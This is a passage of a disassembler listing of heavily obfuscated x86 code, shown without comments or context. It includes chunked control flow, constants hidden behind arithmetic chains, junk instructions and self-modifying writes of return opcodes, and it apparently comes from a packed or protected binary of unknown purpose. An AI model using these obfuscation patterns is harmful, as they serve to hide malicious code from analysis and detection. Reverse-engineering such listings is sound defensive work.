XREF: sub_44E313:loc_4471C5j ; FUNCTION CHUNK AT 0044443F SIZE 0000001C BYTES push ebx push 8C68CD35h pop ebx rol ebx, 7 jnb loc_44443F sub_43F4BB endp ; START OF FUNCTION CHUNK FOR sub_4481EF loc_43F4CB: ; CODE XREF: sub_4481EF-26FDj jmp loc_43F84F ; END OF FUNCTION CHUNK FOR sub_4481EF ; --------------------------------------------------------------------------- loc_43F4D0: ; CODE XREF: y22d6.y.:0043DBB5j jmp loc_43AD2D ; --------------------------------------------------------------------------- mov eax, 77C10D13h test ebp, ebx jmp loc_43FD66 ; --------------------------------------------------------------------------- loc_43F4E1: ; DATA XREF: sub_443EF1+3296o mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43E139 loc_43F4E5: ; CODE XREF: sub_43E139+101FEj jmp loc_443CF1 ; END OF FUNCTION CHUNK FOR sub_43E139 ; =============== S U B R O U T I N E ======================================= sub_43F4EA proc near ; CODE XREF: sub_44271A-7319p ; sub_443EF1+328Ep mov dword ptr [eax], 0 retn sub_43F4EA endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44E14E loc_43F4F1: ; CODE XREF: sub_44E14E+Cj jmp loc_43AD0E ; END OF FUNCTION CHUNK FOR sub_44E14E ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_5. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43F224 loc_43F4F7: ; CODE XREF: sub_43F224+12j jmp loc_440E2E ; END OF FUNCTION CHUNK FOR sub_43F224 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4432B8 loc_43F4FC: ; CODE XREF: sub_4432B8-B229j jmp sub_43BC16 ; END OF FUNCTION CHUNK FOR sub_4432B8 ; =============== S U B R O U T I N E ======================================= sub_43F501 proc near ; CODE XREF: sub_44540D-5241p ; FUNCTION CHUNK AT 00439837 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00439F7A SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0043B7E0 SIZE 0000001C BYTES ; FUNCTION CHUNK AT 0043D6A9 SIZE 00000002 BYTES ; FUNCTION CHUNK AT 0043D8AA SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0043DFC7 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043E24A SIZE 0000000F BYTES ; FUNCTION CHUNK AT 00441209 SIZE 00000024 BYTES ; FUNCTION CHUNK AT 00443E32 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0044419E SIZE 0000001A BYTES ; FUNCTION CHUNK AT 004451E3 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00445F03 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00447DF8 SIZE 0000001B BYTES ; FUNCTION CHUNK AT 00448E5F SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0044A98E SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0044D5CA SIZE 0000000D BYTES push ebp jmp loc_441209 sub_43F501 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43E139 loc_43F507: ; CODE XREF: sub_43E139:loc_43DCE0j mov eax, 0BEB860A6h call sub_43CA1A mov ds:off_41E114, eax lea eax, loc_443CF1 jmp loc_43A0FE ; END OF FUNCTION CHUNK FOR sub_43E139 ; --------------------------------------------------------------------------- push eax push ecx mov ecx, eax xchg ecx, [esp] push ebx jmp loc_4373B4 ; --------------------------------------------------------------------------- loc_43F52F: ; DATA XREF: sub_442F96+7o xchg ebp, [esp] mov eax, edx call sub_44A46F mov eax, [esp] call sub_4480DE retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44BCC2 loc_43F542: ; CODE XREF: sub_44BCC2-10761j jmp loc_447374 ; END OF FUNCTION CHUNK FOR sub_44BCC2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44BF91 loc_43F547: ; CODE XREF: sub_44BF91+Bj push 79CCC580h pop esi add esi, 0C3E9DBCFh cmp esi, 5F488CB3h jmp loc_438B93 ; END OF FUNCTION CHUNK FOR sub_44BF91 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43FFE2 loc_43F55E: ; CODE XREF: sub_43FFE2:loc_44C24Aj add esi, 3ED87264h xchg esi, [esp+4+var_4] jmp sub_4435D6 ; END OF FUNCTION CHUNK FOR sub_43FFE2 ; --------------------------------------------------------------------------- push 54D8D073h pop edx xor edx, 724B65h add edx, 0AB9978D2h mov edx, [edx] jmp loc_4417D9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43BEF7 loc_43F585: ; CODE XREF: sub_43BEF7-15F4j pop eax and eax, 8A9DF572h xor eax, 27878B39h add eax, 0A6E19932h xor eax, 50BD4463h add eax, 1486AF0Dh call sub_43CA1A jmp loc_44BE60 ; END OF FUNCTION CHUNK FOR sub_43BEF7 ; --------------------------------------------------------------------------- loc_43F5AE: ; CODE XREF: y22d6.y.:00439C15j jle loc_43E937 loc_43F5B4: ; CODE XREF: y22d6.y.:loc_43F75Fj xor ebx, 299BE005h add ebx, 0E84EDF14h mov [ebx], edx jmp loc_437A62 ; --------------------------------------------------------------------------- loc_43F5C7: ; DATA XREF: y22d6.y.:00437F2Bo push esi push 978CB4EFh pop esi ; START OF FUNCTION CHUNK FOR sub_44A53A loc_43F5CE: ; CODE XREF: sub_44A53A:loc_441157j add esi, 0D7A1EC77h cmp esi, 86DC22C5h jmp loc_44550E ; END OF FUNCTION CHUNK FOR sub_44A53A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_442C0C loc_43F5DF: ; CODE XREF: sub_442C0C-AB6j ; sub_442C0C:loc_444989j push 0B641BF40h pop eax and eax, 678254F1h xor eax, ds:4000E5h add eax, 2E374D4Dh add eax, ebp add eax, 0C6A6CE56h push offset loc_44D4A7 jmp loc_442EEF ; END OF FUNCTION CHUNK FOR sub_442C0C ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_35. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44B635 loc_43F60A: ; CODE XREF: sub_44B635:loc_44B3C4j jz loc_43B1BF loc_43F610: ; CODE XREF: sub_440280:loc_44D2FAj jmp loc_4473C6 ; END OF FUNCTION CHUNK FOR sub_44B635 ; --------------------------------------------------------------------------- byte_43F615 db 64h, 8Fh, 5 ; CODE XREF: y22d6.y.:loc_447CDAj ; y22d6.y.:00448930j ; DATA XREF: ... dd 0 dd 6804C483h, 0D7D08CA0h, 9BE88158h, 81B62C47h, 3DCF1FC8h dd 1DC0C112h, 1D1CF081h, 0B9E99354h db 92h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_43F63F: ; CODE XREF: y22d6.y.:0043BD14j jns loc_44B109 mov edx, [ebx] jmp loc_44B107 ; --------------------------------------------------------------------------- loc_43F64C: ; DATA XREF: sub_444581+7F2Do add esi, 0FC52344h sub eax, esi pop esi ; START OF FUNCTION CHUNK FOR sub_439051 loc_43F655: ; CODE XREF: sub_439051+A62Dj rol eax, 11h xor eax, 0E4A17A8Dh rol eax, 1Ch xor eax, 70DEAA58h loc_43F667: ; CODE XREF: y22d6.y.:loc_4401A5j add eax, 0B3D7A90Ah jmp loc_44E1F7 ; END OF FUNCTION CHUNK FOR sub_439051 ; --------------------------------------------------------------------------- loc_43F672: ; CODE XREF: y22d6.y.:loc_43B4FEj or eax, 0DC6449BFh loc_43F678: ; CODE XREF: y22d6.y.:loc_44B3F2j add eax, 802D8FD3h add eax, ebp add eax, 0A15A962Ah mov eax, [eax] jmp loc_43F04F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_441F08 loc_43F68D: ; CODE XREF: sub_441F08+A95Aj mov eax, [eax] cmp byte ptr [eax], 0F1h jnz loc_44089E jmp loc_446FD5 ; END OF FUNCTION CHUNK FOR sub_441F08 ; --------------------------------------------------------------------------- mov eax, 0A7C2536Ch push edi push 0CD535273h pop edi rol edi, 11h add edi, 5B5C5FFDh xchg edi, [esp] jmp loc_44E412 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44C02C loc_43F6BA: ; CODE XREF: sub_44C02C+Dj jnz loc_4443D4 jmp loc_43C555 ; END OF FUNCTION CHUNK FOR sub_44C02C ; --------------------------------------------------------------------------- loc_43F6C5: ; CODE XREF: y22d6.y.:00443E8Fj add edx, 0E32F73Ah add edx, ebp add edx, 7B711A3Fh mov edx, [edx] jmp loc_444C56 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_449641 loc_43F6DA: ; CODE XREF: sub_449641:loc_43E394j jnz loc_43F32F loc_43F6E0: ; CODE XREF: sub_43B252+132C5j jmp loc_4397C5 ; END OF FUNCTION CHUNK FOR sub_449641 ; --------------------------------------------------------------------------- test eax, ebx jmp loc_4460E9 ; --------------------------------------------------------------------------- loc_43F6EC: ; CODE XREF: y22d6.y.:loc_440B41j push 2DD95080h pop eax sub eax, 1AFD9D9Dh rol eax, 4 jmp loc_4413BE ; --------------------------------------------------------------------------- xchg ebp, [ecx] jmp loc_43D8DE ; --------------------------------------------------------------------------- call sub_43AD19 ; START OF FUNCTION CHUNK FOR sub_43B09B loc_43F70C: ; CODE XREF: sub_43B09B-489j cmp ecx, edx jmp loc_444FD9 ; END OF FUNCTION CHUNK FOR sub_43B09B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44057E loc_43F713: ; CODE XREF: sub_44057E-519j ja loc_4385A2 xor ebx, 496334A3h sbb esi, 0B29AD91Eh loc_43F725: ; CODE XREF: sub_44057E:loc_44D252j push 0C4D8920Eh pop eax xor eax, 844FF0AFh loc_43F731: ; CODE XREF: sub_43A6E1:loc_43DEF1j jmp loc_43A71C ; END OF FUNCTION CHUNK FOR sub_44057E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43A58D loc_43F736: ; CODE XREF: sub_43A58D+D59Ej jle loc_441707 adc esi, ebx loc_43F73E: ; CODE XREF: sub_43A58D+D58Fj sub ebx, 0F1C0BE96h add ebx, 0B920C83Bh popf jmp loc_444129 ; END OF FUNCTION CHUNK FOR sub_43A58D ; =============== S U B R O U T I N E ======================================= sub_43F750 proc near ; CODE XREF: y22d6.y.:0043CAF3j ; sub_44B17B:loc_4488C3p arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 004384D6 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043A4F8 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 004407DC SIZE 00000014 BYTES ; FUNCTION CHUNK AT 004445D9 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00445905 SIZE 0000001A BYTES ; FUNCTION CHUNK AT 00448245 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0044A7DE SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0044A9BD SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0044B61E SIZE 0000000B BYTES xchg edi, [esp-4+arg_0] pop edi pop ecx call sub_44CDB1 loc_43F75A: ; CODE XREF: y22d6.y.:0044434Fj jmp loc_448245 sub_43F750 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_43F75F: ; CODE XREF: y22d6.y.:0044C1F9j jnz loc_43F5B4 cmp eax, ebx jmp loc_439C09 ; --------------------------------------------------------------------------- adc eax, 0AF3BDC92h jnb sub_44D54C jmp sub_43EFB1 ; --------------------------------------------------------------------------- sbb esi, edi jmp sub_440D11 ; --------------------------------------------------------------------------- loc_43F784: ; DATA XREF: sub_439945+5o pushf push 81B529CEh pop edx rol edx, 12h add edx, 590A9F8Eh push offset sub_44CB85 jmp locret_44D0F2 ; --------------------------------------------------------------------------- loc_43F79E: ; CODE XREF: y22d6.y.:00445E00j jns loc_43E8C0 add ebp, edx jmp sub_43FFE2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4432B8 loc_43F7AB: ; CODE XREF: sub_4432B8-CF9j jg loc_43ECC9 pop ebx jmp loc_440168 ; END OF FUNCTION CHUNK FOR sub_4432B8 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_197. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4470B1 loc_43F7B8: ; CODE XREF: sub_4470B1+1Bj jmp loc_43CBAE ; END OF FUNCTION CHUNK FOR sub_4470B1 ; --------------------------------------------------------------------------- loc_43F7BD: ; CODE XREF: y22d6.y.:004406E9j push edx push offset loc_4437F9 jmp locret_442EEE ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4481EF loc_43F7C9: ; CODE XREF: y22d6.y.:0043F9B1j ; sub_4481EF+59E4j jmp loc_4381AF ; END OF FUNCTION CHUNK FOR sub_4481EF ; --------------------------------------------------------------------------- dw 4188h dword_43F7D0 dd 0 ; DATA XREF: sub_444581:loc_449DC7r ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43CBD3 loc_43F7D4: ; CODE XREF: sub_43CBD3+11A09j jmp loc_446EE0 ; END OF FUNCTION CHUNK FOR sub_43CBD3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43FFE2 loc_43F7D9: ; CODE XREF: sub_43FFE2+E47j jmp loc_44A60A ; END OF FUNCTION CHUNK FOR sub_43FFE2 ; --------------------------------------------------------------------------- dw 3908h dword_43F7E0 dd 498AD455h, 19174666h ; DATA XREF: sub_444581:loc_43FD9Ao ; sub_444581-3535o db 63h, 36h, 0 ; --------------------------------------------------------------------------- loc_43F7EB: ; CODE XREF: y22d6.y.:0044B206j jmp loc_43F380 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_438B66 loc_43F7F0: ; CODE XREF: sub_438B66+1065Ej jmp loc_44450C ; END OF FUNCTION CHUNK FOR sub_438B66 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44BBBA loc_43F7F5: ; CODE XREF: sub_44BBBA-11E88j jmp nullsub_189 ; END OF FUNCTION CHUNK FOR sub_44BBBA ; --------------------------------------------------------------------------- loc_43F7FA: ; CODE XREF: y22d6.y.:004372A1j jmp sub_43CA1A ; =============== S U B R O U T I N E ======================================= sub_43F7FF proc near ; CODE XREF: sub_43B252-3999p ; y22d6.y.:00438E4Dp ... ; FUNCTION CHUNK AT 004386A0 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 00439185 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 004422A5 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0044842D SIZE 0000000A BYTES jb loc_44842D jmp loc_4386A0 sub_43F7FF endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43D20E loc_43F80A: ; CODE XREF: sub_43D20E:loc_439B10j mov [ebp-0Ch], eax cmp dword ptr [ebp-4], 0 jz loc_44DA43 mov eax, [ebp-4] add eax, 3Ch mov eax, [eax] jmp loc_439806 ; END OF FUNCTION CHUNK FOR sub_43D20E ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_90. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44D3B1 loc_43F825: ; CODE XREF: sub_44D3B1+1Dj jmp loc_43B599 ; END OF FUNCTION CHUNK FOR sub_44D3B1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44B06F loc_43F82A: ; CODE XREF: sub_44B06F:loc_447E47j mov ebp, edi xchg ebp, [esp+4+var_4] mov edi, ebp xchg edi, [esp+4+var_4] mov ebp, esp push ecx mov [ebp-4], eax jmp loc_43D082 ; END OF FUNCTION CHUNK FOR sub_44B06F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_448EB6 loc_43F83F: ; CODE XREF: sub_448EB6-6133j jbe loc_437C33 push 3817A545h jmp loc_439B46 ; END OF FUNCTION CHUNK FOR sub_448EB6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4481EF loc_43F84F: ; CODE XREF: sub_4481EF:loc_43F4CBj and esi, 25519537h jmp loc_448A8F ; END OF FUNCTION CHUNK FOR sub_4481EF ; --------------------------------------------------------------------------- loc_43F85A: ; CODE XREF: y22d6.y.:00448B4Dj mov eax, 0A4C05BA6h push offset loc_44BDF5 jmp locret_4387C7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4480DE loc_43F869: ; CODE XREF: sub_4480DE:loc_4402BFj jz loc_43B9B7 jmp loc_448F50 ; END OF FUNCTION CHUNK FOR sub_4480DE ; --------------------------------------------------------------------------- loc_43F874: ; CODE XREF: y22d6.y.:00449EE9j shr ebp, 15h ja loc_43FF1E or eax, 55C48EACh ; START OF FUNCTION CHUNK FOR sub_4400D5 loc_43F883: ; CODE XREF: sub_4400D5:loc_449ED7j or ecx, 0CDE00B2Fh loc_43F889: ; CODE XREF: y22d6.y.:0044A534j rol ecx, 18h jmp loc_43C04F ; END OF FUNCTION CHUNK FOR sub_4400D5 ; =============== S U B R O U T I N E ======================================= sub_43F891 proc near ; CODE XREF: y22d6.y.:004379DCj ; y22d6.y.:0044E62Cp ; FUNCTION CHUNK AT 0044D4B7 SIZE 00000005 BYTES xchg eax, [esp+0] pop eax call sub_438E86 mov eax, 2D912001h jmp loc_44D4B7 sub_43F891 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43CA1A loc_43F8A4: ; CODE XREF: sub_43CA1A:loc_44BD7Aj cdq jmp loc_43EB70 ; END OF FUNCTION CHUNK FOR sub_43CA1A ; --------------------------------------------------------------------------- loc_43F8AA: ; CODE XREF: y22d6.y.:00443F8Bj pop eax add eax, ds:4000E3h rol eax, 1 xor eax, 0FAC154B4h call sub_444581 push esi push 0A1DC1FACh jmp loc_438D64 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43C55B loc_43F8C9: ; CODE XREF: sub_43C55B+BFD8j jz loc_446511 jmp loc_44A7DE ; END OF FUNCTION CHUNK FOR sub_43C55B ; --------------------------------------------------------------------------- loc_43F8D4: ; CODE XREF: y22d6.y.:00444344j sub al, 99h push 0A26A71FEh pop edx or edx, 0C720116Eh ; START OF FUNCTION CHUNK FOR sub_43C6D7 loc_43F8E2: ; CODE XREF: sub_43C6D7:loc_440035j sub edx, ds:4000E1h jmp loc_43B796 ; END OF FUNCTION CHUNK FOR sub_43C6D7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44CB3F loc_43F8ED: ; CODE XREF: sub_44CB3F-FCE3j mov eax, [ebp-20h] call sub_43F8FE pop ecx mov [ebp-20h], eax jmp loc_444720 ; END OF FUNCTION CHUNK FOR sub_44CB3F ; =============== S U B R O U T I N E ======================================= sub_43F8FE proc near ; CODE XREF: sub_44CB3F-D24Fp ; FUNCTION CHUNK AT 00437593 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 00437C84 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0044BE7A SIZE 0000002C BYTES push ebp jmp loc_437C84 sub_43F8FE endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44E63C loc_43F904: ; CODE XREF: sub_44E63C:loc_43B829j jnz loc_44BFC5 jmp loc_44716F ; END OF FUNCTION CHUNK FOR sub_44E63C ; --------------------------------------------------------------------------- loc_43F90F: ; CODE XREF: y22d6.y.:loc_43D89Bj mov byte ptr [eax], 0C3h loc_43F912: ; CODE XREF: y22d6.y.:loc_439A72j jmp loc_43EB86 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_446222 loc_43F917: ; CODE XREF: sub_446222j pop edx mov eax, [esp-4+arg_0] loc_43F91B: ; CODE XREF: y22d6.y.:0044C079j push ebp mov ebp, edx xchg ebp, [esp+0] call sub_4483BF mov eax, 3E69A3C2h jmp loc_4433AD ; END OF FUNCTION CHUNK FOR sub_446222 ; --------------------------------------------------------------------------- shr edi, 0Bh jmp sub_44C7F1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439C96 loc_43F938: ; CODE XREF: sub_439C96:loc_440315j jz loc_4495B4 loc_43F93E: ; CODE XREF: y22d6.y.:004422FCj jmp nullsub_37 ; END OF FUNCTION CHUNK FOR sub_439C96 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_444D95 loc_43F943: ; CODE XREF: sub_444D95-7E90j jmp loc_443184 ; END OF FUNCTION CHUNK FOR sub_444D95 ; --------------------------------------------------------------------------- cmp ebp, edx loc_43F94A: ; CODE XREF: y22d6.y.:00438CFAj jmp loc_4495A7 ; --------------------------------------------------------------------------- sbb edi, eax jmp sub_445F98 ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44C59C loc_43F957: ; CODE XREF: sub_44C59C-F8CFj jmp loc_4450AD ; END OF FUNCTION CHUNK FOR sub_44C59C ; --------------------------------------------------------------------------- loc_43F95C: ; CODE XREF: y22d6.y.:00438AF8j add eax, 0B71B9529h mov edx, [esp] push esi mov esi, eax xchg esi, [esp] push offset sub_44BA21 jmp loc_43DF4C ; --------------------------------------------------------------------------- jb loc_43CA7C jmp sub_440494 ; --------------------------------------------------------------------------- loc_43F980: ; CODE XREF: y22d6.y.:00439149j jge loc_44C4CD push 0ACFEF149h jmp loc_446FBA ; --------------------------------------------------------------------------- ror ebx, 1Bh jmp loc_4487FC ; --------------------------------------------------------------------------- loc_43F998: ; DATA XREF: sub_44CAD8:loc_44A6E5o mov ds:dword_41E180, eax lea eax, nullsub_18 mov byte ptr [eax], 0C3h jmp loc_439C39 ; --------------------------------------------------------------------------- pop edx mov eax, [esp] push edx jmp loc_43F7C9 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_316. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_43F9B7: ; CODE XREF: y22d6.y.:00444295j jmp sub_44A9DF ; --------------------------------------------------------------------------- loc_43F9BC: ; DATA XREF: sub_4432B8:loc_44150Eo push edi mov edi, esi xchg edi, [esp] push offset sub_44C921 jmp locret_44C740 ; --------------------------------------------------------------------------- pushf jmp loc_44E624 ; --------------------------------------------------------------------------- loc_43F9D2: ; DATA XREF: sub_44B47A+5o lea eax, sub_444427 mov byte ptr [eax], 0C3h jmp sub_444427 ; =============== S U B R O U T I N E ======================================= sub_43F9E0 proc near ; CODE XREF: sub_40300B+67p ; y22d6.y.:00440A5Bj ; DATA XREF: ... var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0043B2A4 SIZE 0000001A BYTES ; FUNCTION CHUNK AT 00440CF7 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 00442085 SIZE 00000011 BYTES push ecx mov ecx, edi jmp loc_43B2A4 sub_43F9E0 endp ; --------------------------------------------------------------------------- rol ebp, 4 jmp sub_4372BC ; --------------------------------------------------------------------------- loc_43F9F0: ; CODE XREF: y22d6.y.:0043F1ABj js loc_4432AC mov [eax], edx loc_43F9F8: ; CODE XREF: y22d6.y.:loc_43F19Dj sub esi, 0A95EC5E6h xor esi, 4E323488h add esi, 59F4C7D7h add esi, ebp add esi, 9786B8Dh jmp loc_442F10 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43A58D loc_43FA17: ; CODE XREF: sub_43A58D:loc_44D67Bj pop ebx add ebx, ds:4000E7h sub ebx, 2BC7006Dh js loc_447B1A ; END OF FUNCTION CHUNK FOR sub_43A58D ; START OF FUNCTION CHUNK FOR sub_43A6E1 loc_43FA2A: ; CODE XREF: sub_43A6E1+10A3Aj jmp sub_43CA1A ; END OF FUNCTION CHUNK FOR sub_43A6E1 ; --------------------------------------------------------------------------- loc_43FA2F: ; CODE XREF: y22d6.y.:0044429Cj jmp loc_43AAD4 ; --------------------------------------------------------------------------- mov [ebp+0], ecx or ecx, 0B13E8EB3h jmp loc_44DE45 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4432B8 loc_43FA42: ; CODE XREF: sub_4432B8+258j xor ebx, edi test eax, edx jmp loc_448C59 ; END OF FUNCTION CHUNK FOR sub_4432B8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44BBBA loc_43FA4B: ; CODE XREF: sub_44BBBA-B11Bj mov ebp, ebx jns loc_43A908 sub ebx, 54EE7077h test eax, esi jmp loc_43E05A ; END OF FUNCTION CHUNK FOR sub_44BBBA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44585C loc_43FA60: ; CODE XREF: sub_44585C+16j or edx, 0DD54F96Bh add edx, 0F4B8A02Eh call sub_43D11C loc_43FA71: ; CODE XREF: y22d6.y.:0044CC96j jmp loc_440BFC ; END OF FUNCTION CHUNK FOR sub_44585C ; --------------------------------------------------------------------------- jmp loc_443600 ; --------------------------------------------------------------------------- call sub_44A9DF or eax, eax jmp loc_43B2ED ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_444581 loc_43FA87: ; CODE XREF: sub_444581j push 4A3C413Bh xchg eax, [esp+8+var_8] mov edx, eax pop eax xor edx, 0ECC02953h add edx, 59478F68h jmp loc_439133 ; END OF FUNCTION CHUNK FOR sub_444581 ; --------------------------------------------------------------------------- push esi push 42BF56C7h pop esi add esi, 0BFB17224h sub esi, 0EAD90DFh jmp loc_4426A5 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_244. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_43FABC: ; CODE XREF: y22d6.y.:00447207j jmp loc_4406C1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44243B loc_43FAC1: ; CODE XREF: sub_44243B-9AB3j jmp nullsub_238 ; END OF FUNCTION CHUNK FOR sub_44243B ; =============== S U B R O U T I N E ======================================= sub_43FAC6 proc near ; DATA XREF: sub_44C48C-BC58o arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 004375A5 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004392EE SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0043977F SIZE 0000000E BYTES ; FUNCTION CHUNK AT 00439DFA SIZE 00000017 BYTES ; FUNCTION CHUNK AT 0043A330 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043B5C9 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0043EB90 SIZE 00000027 BYTES ; FUNCTION CHUNK AT 0043FF56 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00441EE2 SIZE 0000001A BYTES ; FUNCTION CHUNK AT 00442F68 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00443B73 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00443D2A SIZE 00000012 BYTES ; FUNCTION CHUNK AT 0044445B SIZE 00000011 BYTES ; FUNCTION CHUNK AT 004458CA SIZE 0000001F BYTES ; FUNCTION CHUNK AT 0044B87F SIZE 0000001D BYTES ; FUNCTION CHUNK AT 0044CA61 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0044CF7B SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0044DCB2 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0044DD14 SIZE 0000000E BYTES pop edx mov [ecx], eax xchg eax, [esp+0] mov ecx, eax pop eax jmp loc_4375A5 sub_43FAC6 endp ; sp-analysis failed ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_23. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_440280 loc_43FAD5: ; CODE XREF: sub_440280+8109j jmp nullsub_253 ; END OF FUNCTION CHUNK FOR sub_440280 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43CC1A loc_43FADA: ; CODE XREF: sub_43CC1A+B48Cj jmp loc_443E94 ; END OF FUNCTION CHUNK FOR sub_43CC1A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43704E loc_43FADF: ; CODE XREF: sub_43704E:loc_43B4B0j jz loc_44B831 jmp loc_439BA1 ; END OF FUNCTION CHUNK FOR sub_43704E ; --------------------------------------------------------------------------- xchg ecx, edx jmp sub_43AEAA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43CDA6 loc_43FAF1: ; CODE XREF: sub_43CDA6+1Aj rol ebx, 0Ch and ebx, 0A3256C69h add ebx, 0FD3F2807h loc_43FB00: ; CODE XREF: y22d6.y.:loc_44093Bj xchg ebx, [esp+0] jmp loc_43C9B0 ; END OF FUNCTION CHUNK FOR sub_43CDA6 ; --------------------------------------------------------------------------- or edi, 0D29EA46Dh jmp sub_448A6F ; --------------------------------------------------------------------------- loc_43FB13: ; DATA XREF: sub_441DC7-3EF4o pop ebx retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4392B0 loc_43FB15: ; CODE XREF: sub_4392B0:loc_43E71Dj ; sub_4392B0+5493j mov eax, ds:dword_441954 mov al, [eax] jmp loc_44C7A8 ; END OF FUNCTION CHUNK FOR sub_4392B0 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_72. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44825F loc_43FB22: ; CODE XREF: sub_44825F-AE1Cj jmp loc_44E3A3 ; END OF FUNCTION CHUNK FOR sub_44825F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_448E3E loc_43FB27: ; 